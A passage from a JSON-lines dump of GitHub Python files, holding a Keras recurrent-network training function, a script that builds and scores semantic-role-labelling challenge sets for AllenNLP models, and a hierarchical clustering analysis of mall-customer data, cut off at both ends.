scan)\n\nfinal = pre.get_gray(scan)\nfinal = pre.adaptivethreshold(final)\ncv2.imshow(\"Final Scan\", final)\n\ntext = pytesseract.image_to_string(final)\nprint(text)\ncv2.waitKey(0)\n#cv2.destroyAllWindows()\n","repo_name":"vishruth-v/Document-Scanner","sub_path":"testcode.py","file_name":"testcode.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72987311831","text":"import keras\nimport util\nfrom datetime import datetime\n\n\ndef train(args, preprocess_manager):\n util.llprint(\"Loading Data starts... \\n\")\n X, y, sequence_max_length, num_features_all, num_features_activities = preprocess_manager.create_and_encode_training_set(\n args)\n util.llprint(\"Loading Data done!\\n\")\n\n print('Build model...')\n\n # LSTM\n if args.dnn_architecture == 0:\n main_input = keras.layers.Input(shape=(sequence_max_length, num_features_all), name='main_input')\n l1 = keras.layers.recurrent.LSTM(100, implementation=2, activation=\"tanh\", kernel_initializer='glorot_uniform',\n return_sequences=False, dropout=0.2)(main_input)\n b1 = keras.layers.normalization.BatchNormalization()(l1)\n\n # GRU\n elif args.dnn_architecture == 1:\n main_input = keras.layers.Input(shape=(sequence_max_length, num_features_all), name='main_input')\n l1 = keras.layers.recurrent.GRU(100, implementation=2, activation=\"tanh\", kernel_initializer='glorot_uniform',\n return_sequences=False, dropout=0.2)(main_input)\n b1 = keras.layers.normalization.BatchNormalization()(l1)\n\n # RNN\n elif args.dnn_architecture == 2:\n main_input = keras.layers.Input(shape=(sequence_max_length, num_features_all), name='main_input')\n l1 = keras.layers.recurrent.SimpleRNN(100, implementation=2, activation=\"tanh\",\n kernel_initializer='glorot_uniform', return_sequences=False, dropout=0.2)(\n main_input)\n b1 = keras.layers.normalization.BatchNormalization()(l1)\n\n activity_output = keras.layers.Dense(num_features_activities + 1, activation='softmax', name='activity_output',\n kernel_initializer='glorot_uniform')(b1)\n model = keras.models.Model(inputs=[main_input], outputs=[activity_output])\n\n optimizer = keras.optimizers.Nadam(lr=args.learning_rate, beta_1=0.9, beta_2=0.999, epsilon=1e-8,\n schedule_decay=0.004, clipvalue=3)\n model.compile(loss={'activity_output': 'categorical_crossentropy'}, optimizer=optimizer)\n early_stopping = keras.callbacks.EarlyStopping(monitor='val_loss', patience=10)\n model_checkpoint = keras.callbacks.ModelCheckpoint(\n '%smodel_%s.h5' % (args.checkpoint_dir, preprocess_manager.iteration_cross_validation), monitor='val_loss',\n verbose=0, save_best_only=True, save_weights_only=False, mode='auto')\n lr_reducer = keras.callbacks.ReduceLROnPlateau(monitor='val_loss', factor=0.5, patience=10, verbose=0, mode='auto',\n min_delta=0.0001, cooldown=0, min_lr=0)\n model.summary()\n\n start_training_time = datetime.now()\n\n model.fit(X, {'activity_output': y}, validation_split=1 / args.num_folds,\n callbacks=[early_stopping, model_checkpoint, lr_reducer], verbose=1, batch_size=args.batch_size_train,\n epochs=args.dnn_num_epochs)\n\n training_time = datetime.now() - start_training_time\n\n return training_time.total_seconds()\n","repo_name":"fau-is/hicss2020-service-analytics","sub_path":"nextclick/train_dnn.py","file_name":"train_dnn.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"3574580908","text":"from allennlp_models import pretrained\nfrom nltk.corpus import wordnet\nimport random, json, sys\nimport spacy, pyinflect\nimport pandas as pd\nnlp = spacy.load('en_core_web_sm')\n\ndef create_base_sentences(vocabulary):\n '''\n This function creates the baseline dataset off the template and saves into a new file.\n\n :param dict vocabulary: dictionary of lists of terms used to create the base sentences\n\n :return: None\n '''\n\n subject_candidates = vocabulary['pronouns']+vocabulary['names']\n verb_candidates = vocabulary['verbs']\n object_candidates = vocabulary['nouns']\n\n with open('base_sentences.jsonl','w') as outfile:\n sentence_list = []\n while len(sentence_list) <= 50:\n subject = random.choice(subject_candidates)\n verb = random.choice(verb_candidates)\n object_ = random.choice(object_candidates)\n # fix some agreement\n if subject not in ['I','You']:\n vb = nlp(verb)\n verb = vb[0]._.inflect('VBZ')\n sentence = f\"{subject} {verb} a {object_}.\"\n short_sent = f'{subject} {verb}'\n if short_sent in sentence_list:\n continue\n else:\n sentence_list.append(short_sent)\n sentence_dict = {\"sentence\": sentence,\"verb\":verb, \"allen_gold\": ['B-ARG0', 'B-V', 'B-ARG1', 'I-ARG1', 'O']}\n outfile.write(f'{json.dumps(sentence_dict)}\\n')\n\ndef get_base_labels(sentence_dict, model_type):\n '''\n This function extracts baseline sentence's gold labels.\n\n :param dict sentence_dict: dictionary of the sentence\n :param str model_type: string specifying the type of a model\n\n :return: subject label, verb label, determiner label, object label, dot label\n '''\n if model_type == 'allen':\n sentence = sentence_dict['allen_gold']\n elif model_type == 'bert':\n sentence = sentence_dict['fine-tuned_gold']\n elif model_type == 'logreg':\n sentence = sentence_dict['logreg_gold']\n subj_l = sentence[0]\n vb_l = sentence[1]\n art_l = sentence[2]\n obj_l = sentence[3]\n dot_l = sentence[-1]\n return subj_l,vb_l,art_l,obj_l,dot_l\n \n\ndef passive_voice(base_sentences, vocabulary):\n '''\n This function transforms baseline set into passivisation challenge set and saves to a new file.\n\n :param list base_sentences: list of dictionaries of sentences\n :param dict vocabulary: dictionary of lists of terms used to create the base sentences\n\n :return: None\n '''\n with open('passive_sentences.jsonl','w') as outfile:\n for sentence_dict in base_sentences:\n sentence = sentence_dict['sentence']\n subj_l,vb_l,art_l,obj_l,dot_l = get_base_labels(sentence_dict,'allen')\n # change gold labels for allen nlp\n allen_passive_gold = [art_l,obj_l,'O',vb_l,subj_l,'I-ARG0',dot_l]\n sentence_list = sentence.split()\n subject = sentence_list[0]\n verb = sentence_list[1]\n article = sentence_list[2]\n object_ = sentence_list[3]\n object_ = object_[:-1]\n vb = nlp(verb)\n vbd = vb[0]._.inflect('VBN')\n if subject in vocabulary['pronouns']:\n subject = subject.lower()\n if subject == 'he':\n subject = 'him'\n elif subject == 'she':\n subject = 'her'\n elif subject == 'i':\n subject = 'me'\n elif subject == 'we':\n subject = 'us'\n elif subject == 'they':\n subject = 'them'\n passive_sentence = f\"A {object_} is {vbd} by {subject}.\"\n sentence_dict = {\"sentence\": passive_sentence,\"verb\":vbd, \"allen_gold\": allen_passive_gold}\n outfile.write(f'{json.dumps(sentence_dict)}\\n')\n\ndef replace_obj_adjunct(base_sentences, vocabulary):\n '''\n This function transforms baseline set into patient replacement challenge set and saves to a new file.\n\n :param list base_sentences: list of dictionaries of sentences\n :param dict vocabulary: dictionary of lists of terms used to create the base sentences\n\n :return: None\n '''\n location_candidates = vocabulary['location']\n with open('replaced_object_sentences.jsonl','w') as outfile:\n for sentence_dict in base_sentences:\n sentence = sentence_dict['sentence']\n subj_l,vb_l,art_l,obj_l,dot_l = get_base_labels(sentence_dict,'allen')\n sentence_cut = sentence.rsplit(' ',2)[0]\n verb = sentence_cut.split()[1]\n vb = nlp(verb)\n vbd = vb[0]._.inflect('VB')\n if vbd in ['break','melt','burn','grow']:\n subj_l = 'B-ARG1'\n allen = [subj_l,vb_l]\n location = random.choice(location_candidates)\n if len(location.split()) == 1:\n allen_loc = ['B-ARGM-LOC']\n elif len(location.split()) == 2:\n allen_loc = ['B-ARGM-LOC','I-ARGM-LOC']\n elif len(location.split()) == 3:\n allen_loc = ['B-ARGM-LOC','I-ARGM-LOC','I-ARGM-LOC']\n else:\n allen_loc = ['B-ARGM-LOC','I-ARGM-LOC','I-ARGM-LOC','I-ARGM-LOC'] \n allen_gold = allen+allen_loc\n allen_gold.append(dot_l)\n new_sentence = f\"{sentence_cut} {location}.\"\n new_sent_dict = {\"sentence\": new_sentence,\"verb\": sentence_dict['verb'],\"allen_gold\": allen_gold}\n outfile.write(f'{json.dumps(new_sent_dict)}\\n')\n\ndef flowery_object(base_sentences, vocabulary):\n '''\n This function transforms baseline set into patient expansion challenge set and saves to a new file.\n\n :param list base_sentences: list of dictionaries of sentences\n :param dict vocabulary: dictionary of lists of terms used to create the base sentences\n\n :return: None\n '''\n adj_candidates = vocabulary['adjectives']\n det_candidates = vocabulary['determiners']\n adv_candidates = vocabulary['adverbs']\n with open('flowery_object.jsonl','w') as outfile:\n for sentence_dict in base_sentences:\n sentence = sentence_dict['sentence']\n subj_l,vb_l,art_l,obj_l,dot_l = get_base_labels(sentence_dict,'allen')\n adj_allen = [subj_l,vb_l,art_l,'I-ARG1', obj_l, dot_l]\n adv_allen = [subj_l,vb_l,art_l,'I-ARG1', 'I-ARG1', obj_l, dot_l]\n sentence_list = sentence.rsplit(' ', 2)\n before = sentence_list[0]\n obj = sentence_list[2]\n det = random.choice(det_candidates)\n adj = random.choice(adj_candidates)\n adv = random.choice(adv_candidates)\n adj_sentence = f\"{before} {det} {adj} {obj}\"\n adv_sentence = f\"{before} {det} {adv} {adj} {obj}\"\n adj_dict = {\"sentence\": adj_sentence,\"verb\": sentence_dict['verb'],\"allen_gold\": adj_allen}\n adv_dict = {\"sentence\": adv_sentence,\"verb\": sentence_dict['verb'],\"allen_gold\": adv_allen}\n outfile.write(f'{json.dumps(adj_dict)}\\n') \n outfile.write(f'{json.dumps(adv_dict)}\\n') \n\ndef add_adjunct(base_sentences, vocabulary):\n '''\n This function transforms baseline set into adjunct placement challenge set and saves to a new file.\n\n :param list base_sentences: list of dictionaries of sentences\n :param dict vocabulary: dictionary of lists of terms used to create the base sentences\n\n :return: None\n '''\n adjunct_candidates = vocabulary['location']+vocabulary['past time']\n with open('adjunct_sentences.jsonl','w') as outfile:\n for sentence_dict in base_sentences:\n sentence = sentence_dict['sentence']\n subj_l,vb_l,art_l,obj_l,dot_l = get_base_labels(sentence_dict,'allen')\n sentence_list = sentence.rsplit(' ',3)\n subj = sentence_list[0]\n verb = sentence_list[1]\n article = sentence_list[2]\n obj = sentence_list[3]\n vb = nlp(verb)\n vbd = vb[0]._.inflect('VBD')\n adjunct = random.choice(adjunct_candidates)\n if adjunct in vocabulary['location']:\n if len(adjunct.split()) == 1:\n allen_adj = ['B-ARGM-LOC']\n elif len(adjunct.split()) == 2:\n allen_adj = ['B-ARGM-LOC','I-ARGM-LOC']\n elif len(adjunct.split()) == 3:\n allen_adj = ['B-ARGM-LOC','I-ARGM-LOC','I-ARGM-LOC']\n else:\n allen_adj = ['B-ARGM-LOC','I-ARGM-LOC','I-ARGM-LOC','I-ARGM-LOC'] \n else:\n if len(adjunct.split()) == 1:\n allen_adj = ['B-ARGM-TMP']\n elif len(adjunct.split()) == 2:\n allen_adj = ['B-ARGM-TMP','I-ARGM-TMP']\n elif len(adjunct.split()) == 3:\n allen_adj = ['B-ARGM-TMP','I-ARGM-TMP','I-ARGM-TMP']\n elif len(adjunct.split()) == 4:\n allen_adj = ['B-ARGM-TMP','I-ARGM-TMP','I-ARGM-TMP','I-ARGM-TMP']\n else:\n allen_adj = ['B-ARGM-TMP','I-ARGM-TMP','I-ARGM-TMP','I-ARGM-TMP','I-ARGM-TMP']\n\n allen_end = [subj_l,vb_l,art_l,obj_l]+allen_adj+[dot_l]\n allen_begin = allen_adj+[subj_l,vb_l,art_l,obj_l,dot_l]\n\n sent_adj_end = f\"{subj} {vbd} {article} {obj[:-1]} {adjunct}.\"\n pronouns = vocabulary['pronouns']\n if subj in pronouns:\n subj = subj.lower()\n adjunct = adjunct[:1].upper()+adjunct[1:]\n sent_adj_begin = f\"{adjunct} {subj} {vbd} {article} {obj}\"\n sent_end_dict = {\"sentence\": sent_adj_end,\"verb\":vbd,\"allen_gold\": allen_end}\n sent_begin_dict = {\"sentence\": sent_adj_begin,\"verb\":vbd,\"allen_gold\": allen_begin}\n outfile.write(f'{json.dumps(sent_end_dict)}\\n')\n outfile.write(f'{json.dumps(sent_begin_dict)}\\n')\n\ndef intransitive_sentence(base_sentences):\n '''\n This function transforms baseline set into verb sense change challenge set and saves to a new file.\n\n :param list base_sentences: list of dictionaries of sentences\n :param dict vocabulary: dictionary of lists of terms used to create the base sentences\n\n :return: None\n '''\n with open('intransitive_sentences.jsonl','w') as outfile:\n for sentence_dict in base_sentences:\n sentence = sentence_dict['sentence']\n subj_l,vb_l,art_l,obj_l,dot_l = get_base_labels(sentence_dict,'allen')\n sentence_list = sentence.rsplit(' ',2)\n verb = sentence.split()[1]\n vb = nlp(verb)\n vbd = vb[0]._.inflect('VB')\n if vbd in ['break','melt','burn','grow']:\n subj_l = 'B-ARG1'\n allen_gold = [subj_l,vb_l, dot_l]\n new_sent = f\"{sentence_list[0]}.\"\n new_dict = {\"sentence\": new_sent,\"verb\": sentence_dict['verb'],\"allen_gold\": allen_gold}\n outfile.write(f'{json.dumps(new_dict)}\\n')\n\ndef flowery_subject(base_sentences, vocabulary):\n '''\n This function transforms baseline set into agent expansion challenge set and saves to a new file.\n\n :param list base_sentences: list of dictionaries of sentences\n :param dict vocabulary: dictionary of lists of terms used to create the base sentences\n\n :return: None\n '''\n pronouns = vocabulary['pronouns']\n names = vocabulary['names']\n adv_candidates = vocabulary['adverbs']\n adj_candidates = vocabulary['adjectives']\n with open('flowery_subject.jsonl','w') as outfile:\n for sentence_dict in base_sentences:\n sentence = sentence_dict['sentence']\n subj_l,vb_l,art_l,obj_l,dot_l = get_base_labels(sentence_dict,'allen')\n adj_allen = [subj_l,'I-ARG0',vb_l,art_l, obj_l, dot_l]\n adv_allen = [subj_l,'I-ARG0', 'I-ARG0',vb_l,art_l, obj_l, dot_l]\n sentence_list = sentence.rsplit(' ',3)\n subj = sentence_list[0]\n rest = f'{sentence_list[1]} {sentence_list[2]} {sentence_list[3]}'\n if subj in pronouns:\n subj = random.choice(names)\n adv = random.choice(adv_candidates)\n adj = random.choice(adj_candidates)\n adv_sent = f'{adv.capitalize()} {adj} {subj} {rest}'\n adj_sent = f'{adj.capitalize()} {subj} {rest}'\n adj_dict = {\"sentence\": adj_sent,\"verb\": sentence_dict['verb'],\"allen_gold\": adj_allen}\n adv_dict = {\"sentence\": adv_sent,\"verb\": sentence_dict['verb'],\"allen_gold\": adv_allen}\n outfile.write(f'{json.dumps(adj_dict)}\\n')\n outfile.write(f'{json.dumps(adv_dict)}\\n')\n\ndef replace_obj_hyponym(base_sentences):\n '''\n This function transforms baseline set into hyponym challenge set and saves to a new file.\n\n :param list base_sentences: list of dictionaries of sentences\n\n :return: None\n '''\n with open('hyponym_sentences.jsonl','w') as outfile:\n for sentence_dict in base_sentences:\n sentence = sentence_dict['sentence']\n sentence_list = sentence.rsplit(' ',2)\n before = sentence_list[0]\n article = sentence_list[1]\n obj = sentence_list[2]\n obj = obj[:-1]\n synsets = wordnet.synsets(obj, pos=wordnet.NOUN)\n synset = synsets[0]\n hyponyms = synset.hyponyms()\n count = 1\n while not hyponyms:\n synset = synsets[count]\n hyponyms = synset.hyponyms()\n count+=1\n hyponym = random.choice(hyponyms)\n hyponym_name = hyponym.name()\n hyponym_synset = wordnet.synset(hyponym_name)\n lemmas = hyponym_synset.lemma_names()\n lemma = lemmas[0]\n if '_' in lemma:\n lemma = lemma.replace('_',' ')\n allen_obj = ['I-ARG1','I-ARG1']\n else:\n allen_obj = ['I-ARG1']\n allen_gold = sentence_dict['allen_gold']\n allen_gold = allen_gold[:3]+allen_obj+['O']\n new_sent = f\"{before} the {lemma}.\"\n new_dict = {\"sentence\": new_sent,\"verb\": sentence_dict['verb'],\"allen_gold\": allen_gold}\n outfile.write(f'{json.dumps(new_dict)}\\n')\n\ndef load_file(filepath):\n '''\n This function opens a .jsonl formatted file.\n\n :param str filepath: path to the .jsonl file\n\n :return: list of dictionaries of sentences\n '''\n\n list_of_sentences = []\n with open(filepath,'r') as infile:\n for line in infile:\n line.rstrip('\\n')\n sentence = json.loads(line)\n list_of_sentences.append(sentence)\n return list_of_sentences\n\ndef make_allen_predictions(model, sentences, model_type):\n '''\n This function writes predictions of an SRL model on the challenge set.\n\n :param model: an allennlp SRL model\n :param list sentences: list of dictionaries of sentences in the challenge set\n :param str model_type: string with a name of the model, either 'bert' or 'lstm'\n\n :return: list of dictionaries with predictions\n '''\n for sentence in sentences:\n json_preds = model.predict(sentence=sentence['sentence'])\n list_verbs = json_preds['verbs']\n if not list_verbs:\n sentence[f'allen_{model_type}'] = []\n for vb in list_verbs:\n if vb['verb'] == sentence['verb']:\n sentence[f'allen_{model_type}'] = vb['tags']\n else:\n sentence[f'allen_{model_type}'] = []\n\n return sentences\n\ndef save_predictions(list_of_dictionaries, test_name):\n '''\n This function saves a file into .jsonl format.\n\n :param list list_of_dictionaries: list to save\n :param str test_name: string with a preferred name to save the file under\n\n :return: None\n '''\n with open(f'{test_name}.jsonl','w') as outfile:\n for line in list_of_dictionaries:\n outfile.write(f'{json.dumps(line)}\\n')\n\ndef evaluate_allen(sentences, model_type):\n '''\n This function evaluates the predictions of the model and calculates the proportion of incorrect predictions.\n\n :param list sentences: list of dictionaries of sentences\n :param str model_type: string with a name of the model, either 'bert' or 'lstm'\n\n :return: a float proportion of incorrect predictions\n '''\n list_of_evals = []\n for sentence in sentences:\n if sentence['allen_gold'] == sentence[f'allen_{model_type}']:\n evaluation = 'Correct'\n else:\n evaluation = 'Incorrect'\n list_of_evals.append(evaluation)\n \n fail_rate = list_of_evals.count('Incorrect')/len(list_of_evals)\n return fail_rate\n\ndef main(argv=None):\n '''\n This function runs the entire script to create, test, and evaluate challenge sets on two models - BERT and biLSTM.\n\n :param bool_1: whether to create the challenge sets\n :param bool_2: whether to make model predictions over the sets\n :param bool_3: whether to calculate the failure rates on the sets\n '''\n\n if argv == None:\n argv = sys.argv\n\n create_test_suites = argv[1]\n make_predictions = argv[2]\n evaluate_predictions = argv[3]\n\n if create_test_suites:\n # base vocabulary \n vocabulary = {}\n # create a transitive/intransitive verbs list\n vocabulary['verbs'] = ['watch','see','sell','buy','cook','open','eat','drink','smell','hear','move','return','grow','play','run','stop','break','melt','speak','read','win','deliver','paint','pull','watch','clean','attack','cross','change','burn']\n # create determiners list\n vocabulary['determiners'] = ['the','my','their','your','her','his', 'this','that','its']\n # create adjective set\n vocabulary['adjectives'] = ['terrible','beautiful','gorgeous','enormous','dusty','new','orange','violet','violent','wet','cringey','destructive','contaminated','wooden','caffeinated','quixotic','scrumptious', 'elegant','extreme','obnoxious','outlandish','well-fed','peevish','peppy','cranky','smug','normal','boring','snooty','complementary','supportive','clingy','stubborn','familiar']\n # create adverb set\n vocabulary['adverbs'] = ['absolutely','just','precisely','little','nearly','enough','deeply','completely','entirely','quite','rather','vaguely']\n # create names set\n vocabulary['names'] = ['Cecelia','Aina','Sofia','Anastasia','Kiki','Jonny','Nemo','Merlin','Seth','Danny','Maria','Carly','Daria','Dorian','Makeda','Hermann','Alexander','Roxy','Salazar','Nina','Genya','Tamar']\n # create pronouns set\n vocabulary['pronouns'] = ['I','You','He','She','They']\n # create nouns set\n vocabulary['nouns'] = ['bird','cat','book','pavement','table','flower','cactus','cup','notebook','purse','beet','sun','blanket','soup','tomato','hotdog','mint','computer','coffee','toy','tea','cloud','rock']\n # create time and location adjuncts\n vocabulary['location'] = ['outside','indoors','on the market square','in Rotterdam','next to the ditch','on the lake','near the beach','in the national park','on a hike','in the city centre','at the coffee shop','at the carnival', 'at the canal','in the neighbourhood','nearby']\n vocabulary['past time'] = ['yesterday','three weeks ago','about a year ago','last Monday','few days ago','last fall','a while ago', 'more than a decade ago','a few weeks back','previous Friday','a couple months back']\n # creates the core jsonl file with 50 simple transitive sentences\n create_base_sentences(vocabulary)\n # just load it as a list of dictionaries\n list_of_sentences = load_file('base_sentences.jsonl')\n # create passive versions of base sentences\n passive_voice(list_of_sentences, vocabulary)\n # create sentences where objects are replaced by adjuncts\n replace_obj_adjunct(list_of_sentences,vocabulary)\n # create more descriptive object sentences\n flowery_object(list_of_sentences,vocabulary)\n # create sentences with adjuncts attached \n add_adjunct(list_of_sentences,vocabulary)\n # create intransitive sentences\n intransitive_sentence(list_of_sentences)\n # create more descriptive subject sentences\n flowery_subject(list_of_sentences,vocabulary)\n # create sentences where objects are replaced with hyponyms of them\n replace_obj_hyponym(list_of_sentences)\n if make_predictions:\n # load models\n allen_bert = pretrained.load_predictor('structured-prediction-srl-bert')\n allen_lstm = pretrained.load_predictor('structured-prediction-srl')\n # load tests\n base_test = load_file('base_sentences.jsonl')\n passive_test = load_file('passive_sentences.jsonl')\n intransitive_test = load_file('intransitive_sentences.jsonl')\n adjunct_test = load_file('adjunct_sentences.jsonl')\n flowery_subj_test = load_file('flowery_subject.jsonl')\n flowery_obj_test = load_file('flowery_object.jsonl')\n obj_replacement_test = load_file('replaced_object_sentences.jsonl')\n hyponym_test = load_file('hyponym_sentences.jsonl')\n # make predictions and save them\n bert_base = make_allen_predictions(allen_bert,base_test,'bert')\n lstm_base = make_allen_predictions(allen_lstm,bert_base,'lstm')\n save_predictions(lstm_base,'base_test')\n bert_pass = make_allen_predictions(allen_bert,passive_test,'bert')\n lstm_pass = make_allen_predictions(allen_lstm,bert_pass,'lstm')\n save_predictions(lstm_pass,'passive_test')\n bert_intr = make_allen_predictions(allen_bert,intransitive_test,'bert')\n lstm_intr = make_allen_predictions(allen_lstm,bert_intr,'lstm')\n save_predictions(lstm_intr,'intransitive_test')\n bert_adj = make_allen_predictions(allen_bert,adjunct_test,'bert')\n lstm_adj = make_allen_predictions(allen_lstm,bert_adj,'lstm')\n save_predictions(lstm_adj,'adjunct_test')\n bert_f_subj = make_allen_predictions(allen_bert,flowery_subj_test,'bert')\n lstm_f_subj = make_allen_predictions(allen_lstm,bert_f_subj,'lstm')\n save_predictions(lstm_f_subj,'flowery_subj_test')\n bert_f_obj = make_allen_predictions(allen_bert,flowery_obj_test,'bert')\n lstm_f_obj = make_allen_predictions(allen_lstm,bert_f_obj,'lstm')\n save_predictions(lstm_f_obj,'flowery_obj_test')\n bert_replace = make_allen_predictions(allen_bert,obj_replacement_test,'bert')\n lstm_replace = make_allen_predictions(allen_lstm,bert_replace,'lstm')\n save_predictions(lstm_replace,'obj_replacement_test')\n bert_hypo = make_allen_predictions(allen_bert,hyponym_test,'bert')\n lstm_hypo = make_allen_predictions(allen_lstm,bert_hypo,'lstm')\n save_predictions(lstm_hypo,'hyponym_test')\n if evaluate_predictions:\n # load the datasets\n base_set = load_file('base_test.jsonl')\n passive_set = load_file('passive_test.jsonl')\n intran_set = load_file('intransitive_test.jsonl')\n adjunct_set = load_file('adjunct_test.jsonl')\n f_subj_set = load_file('flowery_subj_test.jsonl')\n f_obj_set = load_file('flowery_obj_test.jsonl')\n replacement_set = load_file('obj_replacement_test.jsonl')\n hyponym_set = load_file('hyponym_test.jsonl')\n # calculate fail rates\n bert_evals = {}\n bert_evals['base test'] = evaluate_allen(base_set,'bert')\n bert_evals['passivisation test'] = evaluate_allen(passive_set,'bert')\n bert_evals['verb sense test'] = evaluate_allen(intran_set,'bert')\n bert_evals['adjunct placement test'] = evaluate_allen(adjunct_set,'bert')\n bert_evals['agent expansion test'] = evaluate_allen(f_subj_set,'bert')\n bert_evals['patient expansion test'] = evaluate_allen(f_obj_set,'bert')\n bert_evals['patient replacement test'] = evaluate_allen(replacement_set,'bert')\n bert_evals['hyponym test'] = evaluate_allen(hyponym_set,'bert')\n # save the fail rates to a dataframe\n fail_df = pd.DataFrame.from_dict(bert_evals,orient='index',columns=['bert'])\n lstm_evals = {}\n lstm_evals['base test'] = evaluate_allen(base_set,'lstm')\n lstm_evals['passivisation test'] = evaluate_allen(passive_set,'lstm')\n lstm_evals['verb sense test'] = evaluate_allen(intran_set,'lstm')\n lstm_evals['adjunct placement test'] = evaluate_allen(adjunct_set,'lstm')\n lstm_evals['agent expansion test'] = evaluate_allen(f_subj_set,'lstm')\n lstm_evals['patient expansion test'] = evaluate_allen(f_obj_set,'lstm')\n lstm_evals['patient replacement test'] = evaluate_allen(replacement_set,'lstm')\n lstm_evals['hyponym test'] = evaluate_allen(hyponym_set,'lstm')\n fail_df['lstm'] = lstm_evals\n # round to percentages\n fail_df['bert'] = fail_df['bert'].astype(float).map(\"{:.2%}\".format)\n fail_df['lstm'] = fail_df['lstm'].astype(float).map(\"{:.2%}\".format)\n # save to .tsv format\n fail_df.to_csv('failure_rates.tsv', sep='\\t')\n \n \n\n\n\n\nif __name__ == '__main__':\n my_args = ['main.py', False, False, True]\n main(my_args)\n\n\n","repo_name":"lunarpearl/SRL_challenge_set","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":25239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14555959743","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jun 1 11:57:37 2019\r\n\r\n@author: Windows 10\r\n\"\"\"\r\n\r\n# This Python 3 environment comes with many helpful analytics libraries installed\r\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\r\n# For example, here's several helpful packages to load in \r\n\r\nimport numpy as np # linear algebra\r\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\r\nfrom scipy.cluster.hierarchy import dendrogram, linkage\r\nfrom scipy.spatial.distance import cdist\r\nfrom matplotlib import pyplot as plt\r\nfrom scipy.spatial import distance\r\nimport math\r\nfrom sklearn.metrics import silhouette_score\r\n\r\n\r\n\r\n\r\n#%matplotlib inline\r\nnp.set_printoptions(precision=5, suppress=True) # suppress scientific float notation\r\n# Input data files are available in the \"../input/\" directory.\r\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\r\n\r\n#import os\r\n#print(os.listdir(\"../input\"))\r\n\r\n\r\n\r\n\r\n\r\nc1 = pd.read_csv(\"Mall_Customers.csv\", names=['x0', 'x1',\"x2\",\"x3\",\"x4\"], sep=\";\")\r\nc1\r\n\r\nplt.scatter(c1['x3'],c1['x4'])\r\n\r\n#print(c1[\"x3\"])\r\n\r\n\r\n\r\n\r\ndef complete_distance(clusters ,cluster_num):\r\n print('first cluster | ','second cluster | ', 'distance')\r\n while len(clusters) is not cluster_num:\r\n # Clustering (\r\n closest_distance=clust_1=clust_2 = math.inf\r\n # for every cluster (until second last element)\r\n for cluster_id, cluster in enumerate(clusters[:len(clusters)]): #associates ID to each cluster in order\r\n for cluster2_id, cluster2 in enumerate(clusters[(cluster_id+1):]): #loops from ID=1\r\n furthest_cluster_dist = -1 \r\n# this is different from the complete link in that we try to minimize the MAX distance\r\n# between CLUSTERS\r\n # go through every point in this prospective cluster as well\r\n # for each point in each cluster\r\n for point_id,point in enumerate(cluster): \r\n for point2_id, point2 in enumerate(cluster2):\r\n# make sure that our furthest distance holds the maximum distance betweeen the clusters at focus\r\n if furthest_cluster_dist < distance.euclidean(point,point2): \r\n furthest_cluster_dist = distance.euclidean(point,point2)\r\n# We are now trying to minimize THAT furthest dist\r\n if furthest_cluster_dist < closest_distance:\r\n closest_distance = furthest_cluster_dist\r\n clust_1 = cluster_id\r\n clust_2 = cluster2_id+cluster_id+1\r\n # extend just appends the contents to the list without flattening it out\r\n print(clust_1,' | ',clust_2, ' | ',closest_distance)\r\n clusters[clust_1].extend(clusters[clust_2]) \r\n # don't need this index anymore, and we have just clustered once more\r\n clusters.pop(clust_2) \r\n return(clusters)\r\n\r\n\r\n\r\ndef hierarchical(data, cluster_num, metric = 'complete'):\r\n # initialization of clusters at first (every point is a cluster)\r\n init_clusters=[]\r\n for index, row in data.iterrows():\r\n init_clusters.append([[row['x3'], row['x4']]])\r\n if metric is 'complete':\r\n return complete_distance(init_clusters, cluster_num)\r\n \r\n\r\n \r\nclusters = hierarchical(c1,5)\r\ncolors = ['green', 'purple', 'teal', 'red', \"brown\", \"yellow\"]\r\n\r\nplt.figure(figsize=(12, 12)) \r\nplt.xlabel(\"Income\")\r\nplt.ylabel(\"Score\")\r\n \r\nfor cluster_index, cluster in enumerate(clusters):\r\n for point_index, point in enumerate(cluster):\r\n plt.plot([point[0]], [point[1]], marker='o', markersize=6, color=colors[cluster_index]) \r\n \r\n #silhouette \r\npreds=[]\r\nfor cluster_index, cluster in enumerate(clusters):\r\n for point_index, point in enumerate(cluster):\r\n preds.append([cluster_index])\r\npreds\r\n\r\n\r\nX=c1.as_matrix()\r\nX=X[:,(3,4)]\r\n\r\n\r\nclusters2=clusters[0]+clusters[1]+clusters[2]+clusters[3]+clusters[4]\r\n\r\n\r\n\r\n\r\nsilhouette_score (clusters2, preds, metric='euclidean')\r\n\r\nrange_cluster = list (range(2,9))\r\nprint (\"cluster from 2 to 9: \\n\", range_cluster)\r\nfor clust_num in range_cluster:\r\n \r\n clusters = hierarchical(c1,clust_num)\r\n preds=[]\r\n for cluster_index, cluster in enumerate(clusters):\r\n for point_index, point in enumerate(cluster):\r\n preds.append([cluster_index])\r\n \r\n score = silhouette_score (X, preds, metric='euclidean')\r\n print (\"For clust num = {}, silhouette score is {})\".format(clust_num, score))\r\n\r\n\r\n\r\n#print(init_clusters)\r\n \r\n \r\n# generate the linkage matrix\r\n\r\nX=c1.as_matrix()\r\nX=X[:,(3,4)]\r\n\r\n\r\n\r\ncomplete_link = linkage(X, 'complete',metric='euclidean')\r\ncomplete_link\r\n\r\nplt.figure(figsize=(12,12))\r\nplt.title('Hierarchical Clustering Dendrogram')\r\n\r\nplt.ylabel('distance')\r\ndendrogram(\r\n complete_link,\r\n leaf_rotation=90., # rotates the x axis labels\r\n #leaf_font_size=8., # font size for the x axis labels\r\n color_threshold=70\r\n)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"giacbar/Clustering-project","sub_path":"mall analysis hierarchical.py","file_name":"mall analysis hierarchical.py","file_ext":"py","file_size_in_byte":5077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10401354361","text":"class Node:\n def 